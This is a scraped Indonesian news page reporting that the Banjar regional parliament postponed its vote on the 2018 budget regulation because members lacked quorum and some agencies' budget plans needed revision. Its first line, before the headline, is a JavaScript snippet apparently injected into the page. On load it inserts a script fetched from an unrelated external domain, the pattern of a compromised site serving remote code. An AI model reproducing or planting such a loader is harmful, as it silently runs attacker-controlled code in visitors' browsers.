(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

APBD Banjar 2018 Terancam Molor Disahkan


MARTAPURA, Ketuk palu mengesahkan Rancangan Peraturan Daerah (Raperda) Anggaran Penerimaan Belanja Daerah (APBD) Tahun Anggaran (TA) 2018 bukan tidak mungkin terancam molor. Pasalnya, palu pimpinan wakil rakyat yang mestinya diketuk pada rapat paripurna, Rabu (25/10) urung alias tertunda dilakukan.

Tertundanya pengambilan keputusan atas Raperda TA 2018, lantaran anggota dewan yang hadir tak memenuhi kuorum. Dari 45 orang wakil rakyat, hanya 29 yang hadir saat rapat paripurna yang berlangsung, plus tanpa kehadiran Ketua DPRD H Rusli ini.

Yang juga membuat molor dari jadwal akibat jumlah anggota dewan tak mencukupi kuorum adalah pengesahan Raperda tantang Pemanfataan Air Tanah dan Air Permukaan dan Pengesahan Program Legislasi Daerah (Prolegda) 2018.

Dari empat acara yang diagendakan, hanya satu yang terlaksana, yakni pandangan umum fraksi-fraksi atas jawaban Bupati Banjar terhadap Raperda insiatif DPRD tentang Badan Permusyawaratan Desa, Pembinaan Pengembangan Olahraga, dan Kawasan Tanpa Rokok.

Saidan Fahmi, Wakil Ketuda DPRD Banjar yang memimpin rapat paripurna saat dikonfirmasi usai kegiatan rapat mengatakan, agenda pengambilan keputusan Raperda APBD 2018 belum dapat dilaksanakan karena ada sejumlah Satuan Kerja Perangkat Daerah (SKPD) yang masih harus merevisi Rencana Kerja Anggaran (RKA). Bukan lantaran anggota dewan yanghadir tidak kuorum.

“Saat rapat Banmus, ada beberapa SKPD yang RKA-nya belum pas dengan RKA KUA-PAS. Karena itu kami minta perbaikan. Sementara perbaikan dilakukan, pengambilan keputusan belum dapat dilakukan,” kata Saidan.

Yang tidak dapat dilaksanakan karena anggota dewan tak kuorum, ujar Saidan, adalah penarikan Raperda tentang Pengendalian Air Sungai. Penarikan Raperda inisiatif dilakukan karena setelah berkonsultasi dengan pemerintah pusat dan provinsi, kewenangan sungai ternyata ada di pemerintah provinsi, makanya Raperda akan ditarik.

“Namun karena tidak kuorum, penarikan atas perda tersebut tidak dapat dilakukan. Aturannya, minimal harus dua per tiga anggota dewan hadir. Sedangkan saat rapat paripurna, yang hadir hanya 29 dari 45 anggota dewan,” kata Saidan Fahmi.

Tentang pengambilan keputusan atas Raperda APBD 2018 yang batal terlaksana, dan yang bukan tidak mungkin akan berdampak pada molornya pengesahan Perda APBD 2018, Saidan Fahmi mengatakan, pengambilan keputusan Perda APBD 2018 tidak boleh mebih dari tanggal 30 November 2017. (rudiyanto)

Foto : Rudiyanto


Desy Arfianty

Recent Posts

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

2 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

2 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

4 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

6 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

7 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

7 jam ago

This website uses cookies.